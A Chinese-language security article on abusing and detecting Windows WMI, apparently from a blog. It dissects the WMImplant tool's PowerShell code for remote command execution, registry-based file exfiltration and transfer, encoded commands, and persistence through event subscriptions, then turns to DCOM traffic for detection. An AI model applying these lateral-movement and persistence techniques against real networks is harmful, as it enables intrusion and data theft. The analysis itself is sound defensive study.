WMI的攻守之道

0x00 前言

       Windows Management Instrumentation(Windows 管理规范) 即WMI,是微软实现的基于Web的企业管理(WBEM)。WMI使用通用信息模型(CIM)来表示系统、应用程序、网络、设备和其他托管组件。WMI支持本地和远程访问。WMI底层基于分布式组件对象模型(DCOM)或者Windows远程管理(WinRM)。程序员们可以使用脚本语言(例如powershell),或者C++,通过COM技术与WMI进行交互。本文行文仓促,如有错误,请各位积极指正。

0x01 WMI滥用情况

      由于WMI的特殊性,WMI可以被广泛的滥用于MITER ATT&CK矩阵中,包括执行,持久化,防御逃避,侦查,横向移动,命令控制。

      在[执行]战术中,ATT&CK专门安排了一个技术点专门介绍Windows行为规范T1047。WMI可以通过命令和脚本解释器powershell(T1059.001)进行交互,并且其通信是基于对象组件模型(T1559.001)。并且可以通过Win32_ScheduledJob类创建计划任务(T1053),但这已经不能在Win7以上系统中使用了。

1
Get-WmiObject -class Win32_ScheduledJob

      在[持久化]战术中,可以通过WMI事件订阅(T1546.003)安装筛选器和事件消费者实现持久化。WMI具有远程连接的能力,即外部远程服务(T1133)。并且可以通过注册表在Run键下面创建启动项(T1547.001)

1
2
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey

      在[防御逃避]中,可以利用WMI通过修改注册表(T1112)的方式禁用或修改工具(T1562.001),也可以通过Win32_Process类间接创建进程,通过WMI创建的进行其父进程应该为WMI提供者进程(T1202)。

1
Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create

      在[侦查]中,可以获取系统各方面的信息,可以利用Win32_UserAccount,Win32_LoggedOnUser获取账户信息(T1087)。使用Win32_Directory类获取文件信息(T1083)。使用Win32_Process类获取进程信息(T1057),使用Win32_OperatingSystem,Win32_SystemResourcesetc类进行系统信息侦查(T1082)等等

1
2
3
Get-WmiObject -class Win32_UserAccount
Get-WmiObject -class Win32_Process
Get-WmiObject -class Win32_Service

      WMI主要通过Win_Process进行远程命令执行。

0x02 WMI的工作原理

      根据windows在WMI 架构知识文档中所述,WMI架构主要包括3个部分,WMI消费者,WMI基础架构,WMI提供者和托管对象。
mark

      WMI提供者(WMI Provider)是一个COM对象,负责管理和监视托管对象,向托管对象处发起请求,并其中获取数据,并将数据提供给WMI基础架构。所以称之为提供者(Provider)。托管对象是一个逻辑或者物理的组件,例如进程,操作系统,服务。

      WMI基础架构(WMI infrastructure)是一个Windows系统组件,称为WMI服务(winmgnt),WMI基础结构有两个组件:CIM对象管理器和WMI存储库。WMI存储库存储着一些静态数据。

      WMI消费者是和WMI基础架构进行交互的管理程序或者脚本。WMI消费者通过相关的COM API或者脚本API与WMI基础架构进行交互,用来查询,枚举数据,运行管理程序方法或订阅事件。

      简单概括WMI工作原理就是WMI消费者通过统一的API接口与WMI基础架构进行交互,由WMI基础架构充当WMI消费者,和WMI提供者,WMI存储库之间的中介。如果需要获取的是静态数据,则直接从存储库获取,如果是动态数据,则可以通过WMI提供者获取数据。

      WMI既可以执行本地操作,也可以执行远程操作,这也是攻击者喜欢使用WMI的原因之一,WMI主要支持两种协议,DCOM和WinRM。最开始DCOM协议是WMI使用的默认协议,DCOM又称分布式组件对象模型,其通过135端口建立连接。而后续的WMI中,微软推荐使用WinRM协议进行通信。本次,本文主要通过powershell描述WMI攻击方式。所以重点也将关注DCOM协议。因为powershell内置的WMI命令是使用DCOM协议。

0x03 WMI攻击

      Windows提供了多种和WMI进行交互的方式,例如通过powershell或者VBScript等脚本语言进行交互,比如利用c++通过COM API进行交互,利用C#,通过System.Management命名空间下的几个类和WMI进行交互,除此以外,还有几款成熟的工具用来和WMI进行交互,例如wmic.exe。

      本文将以WMImplant为例,介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具,它利用WMI来对目标机器执行操作,而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作,横向移动,进程操作,系统操作,以及日志操作。

      PowerShell有很多和WMI交互的函数,WMImplant使用的函数主要有如下几个函数。当然,WMImplant使用这些WMI函数,并没有使用CIM函数,因为函数命令是基于低版本的Powershell,而CIM函数只能用于V3以上的版本,但是CIM函数能支持DCOM协议和WinRM协议,而WMI函数只支持DCOM协议。

1
2
3
Get-WmiObject
Set-WmiInstance
Invoke-WmiMethod

      WMImplant用法很简单,只需要知道目标及其的ComputerName,以及管理员Credential。使用Import-Module .\WMImplant.ps1Invoke-WMImplant两条命令启动WMImplant。
mark

      然后使用change_user命令设置domain/user和password。
mark

      WMImplant的文件操作主要有一下操作,其中,经常使用的有cat命令,download命令,ls命令,upload命令。

1
2
3
4
5
6
cat - Reads the contents of a file
copy - Copies a file from one location to another
download - Download a file from the targeted machine
ls - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine

      ls命令的主要作用是列举指定目录下的目录和文件,依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。

1
2
$filter = "Drive='$Drive' and Path='$DirPath'"
$a= Get-WmiObject -Class Win32_Directory -Filter $filter

mark

      而cat命令的作用是读取文件内容,但是WMI本身是不具有回显的功能,通常有两种情况解决WMI回显的问题,第一种是将回显结果写入文件,然后通过SMB读取文件,但是因为使用了SMB协议,所以会额外多添加一个445端口。第二种方法是将回显结果写入注册表,然后通过WMI相关注册表操作函数读取注册表的内容,从而实现回显。

      WMImplant也是通过远程创建进程将结果写入注册表的方式实现回显,具体操作如下,首先利用StdRegProv类的CreateKey方法创建一个注册表项。

1
$reg_create = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey -ArgumentList $HKCU, $Item

      然后构造一个远程命令,其主要目的是利用Get-Content函数读取文件内容,然后将其编码,之后利用Set-ItemProperty函数将其写入注册表中。

1
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [Int[]][Char[]]$fct -Join '',''; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value $fctenc;'

      接着调用Invoke-WMIObfuscatedPSCommand函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
mark

      最后便是利用StdRegProv类的GetStringValue读取键的值。

1
$regvalue = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name GetStringValue -ArgumentList $HKCU, $KeyPath, $ResultKey

      download命令和upload命令的原理是一样的,都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令是在本地执行Set-Content函数。而upload命令是在远程机器执行Set-Content函数。

1
2
3
4
//upload远程执行Set-Content函数
$remote_command = '$Hive = 2147483650; $key = ''' + "$regpath'" + '; $value = ''' + "$registryupname" + '''; $out = Invoke-WmiMethod -Namespace ''root\default'' -Class ''StdRegProv'' -Name ''GetStringValue'' -ArgumentList $Hive, $key, $value; $decode = [byte[]][int[]]$out.sValue.Split('','') -Join '' ''; [byte[]] $decoded = $decode -split '' ''; Set-Content -Encoding byte -Path ' + "$Upload_Dir" + ' -Value $decoded; Remove-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registryupname'"
//download本地执行Set-Content函数
Set-Content -Encoding byte -Path $Download_file_path -Value $decoded

      根据WMImplant的介绍,横向移动有如下命令,其中经常使用的是command_exec。

1
2
3
4
5
6
7
8
9
command_exec - Run a command line command and receive the output
disable_wdigest - Removes registry value UseLogonCredential
disable_winrm - Disables WinRM on the targeted system
enable_wdigest - Adds registry value UseLogonCredential
enable_winrm - Enables WinRM on the targeted system
registry_mod - Modify the registry on the targeted machine
remote_posh - Run a PowerShell script on a remote machine and receive the output
sched_job - Manipulate scheduled jobs
service_mod - Create, delete, or modify system services

      Invoke-WMIObfuscatedPSCommand函数简单的介绍过,其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc参数。-sc参数可以添加一个代码块。这样就可以执行Powershell代码块。

1
$remote_command = "powershell `$command1 = {$ExecCommand}; `$command2 = Invoke-Command -sc `$command1 | Out-String; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value `$command2"

      除此以外,powershell自带-Command参数,也可以添加代码块,还可以进行加密。

1
2
3
4
$remote_command = "powershell.exe powershell -Command {$command}"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$process = Invoke-WmiMethod -Credential $Credential -ComputerName $ComputerName -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $remote_command

      假如需要利用powershell在远程机器创建一个文件,需要使用到如下代码块。使用WMImplant远程执行,效果如下。

1
2
$filepath ='C:\BaiduNetdiskDownload\123.txt';
New-Item $filepath -type file"

mark
mark

      当然,也许,你不需要执行一个代码块,仅仅需要执行一个whoami命令。command_exec命令也是可以胜任的。
mark
mark

0x04 WMI事件订阅机制

      WMI事件分为两类,本地事件订阅和永久性事件订阅。

      本地事件订阅的生命周期是进程生命周期,而永久性事件订阅可以在任何事件接收WMI事件,其保存在WMI存储库中,永久性事件订阅使用一组永久的过滤器捕获WMI事件,即事件筛选器(Event Filter),一个永久的事件消费者(Event Constumer),以及两者之间的绑定关系。

      事件筛选器是一个__EventFilter类,用于描述WMI将哪些事件传递给事件消费者,即通过WQL语句筛选出触发事件消费者的条件。事件过滤器可以指定内部或外部事件;并且过滤器可以引用源自命名空间的事件。事件筛选器包括四个参数EventNamespace(事件命名空间),Name(筛选器名称),Query(筛选过滤语句),QueryLanguage(语句类型)

1
2
3
4
5
EventNamespace = 'root/cimv2'
Name = $FilterName
Query = $Query
QueryLanguage = 'WQL'
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs

      事件消费者,即事件被触发之后,需要选择执行的行为,主要包含以下事件消费者,分别可以对应事件执行不同的操作,分别是运行脚本,发送电子邮件,写入日志,记录NT事件日志,命令行运行程序。

  • ActiveScriptEventConsumer(脚本事件消费者)
  • LogFileEventConsumer(日志文件事件消费者)
  • NTEventLogEventConsumer(NT事件日志事件消费者)
  • SMTPEventConsumer(邮件事件消费者)
  • CommandLineEventConsumer(命令行事件消费者)

      其中,永久性事件订阅中,经常使用ActiveScriptEventConsumer和 CommandLineEventConsumer两类事件消费者。本文中使用的是CommandLineEventConsumer。命令行事件消费者主要有以下四个参数,Name(事件消费者名),ExecutablePath(执行路径),CommandLineTemplate(命令行),RunInteractively(交互式运行)

1
2
3
4
5
6
Name = $ConsumerName
ExecutablePath = $ExecutablePath
CommandLineTemplate = $CommandLineTemplate
RunInteractively="false"
Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments $ConsumerArgs

      使用__FilterToConsumerBinding建立筛选器和事件消费者的绑定关系。

1
$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

0x05 WMI的检测

      我们介绍过WMI现行支持两套技术,分别为DCOM协议和WinRM。DCOM协议简单的话是基于RPC协议,但是又不是完全独立于RPC协议的。他使用了RPC协议的结构体,与RPC共用了数据头和数据体。所以DCOM协议常被称为ORPC。RPC是一种编程模型,主要用于应用程序实现远程过程调用,微软的DCEPRC即是对远程过程调用的一种实现和扩展。

      OPC通信采用Client/Server的通信结构。如下图所示是OPC通信的流程图。首先OPC客户端先通过TCP向OPC服务端发起TCP请求,在建立连接之后,建立绑定。接着通过IRemoteActivation接口的RemoteCreateInstance方法进行DCOM激活。
mark
mark
mark

      通过查看数据报文,发现DCOM激活存在一下6中激活属性,其中SecurityInfoData包含着连接的计算机名,InstantiationInfoData中属性中包含了实例化对象的CLSID。

  • SpecialPropertiesData
  • InstantiationInfoData
  • ActivationContextInfoData
  • SecurityInfoData
  • LocationInfoData
  • ScmRequestInfoData
    mark
    mark

0x05 参数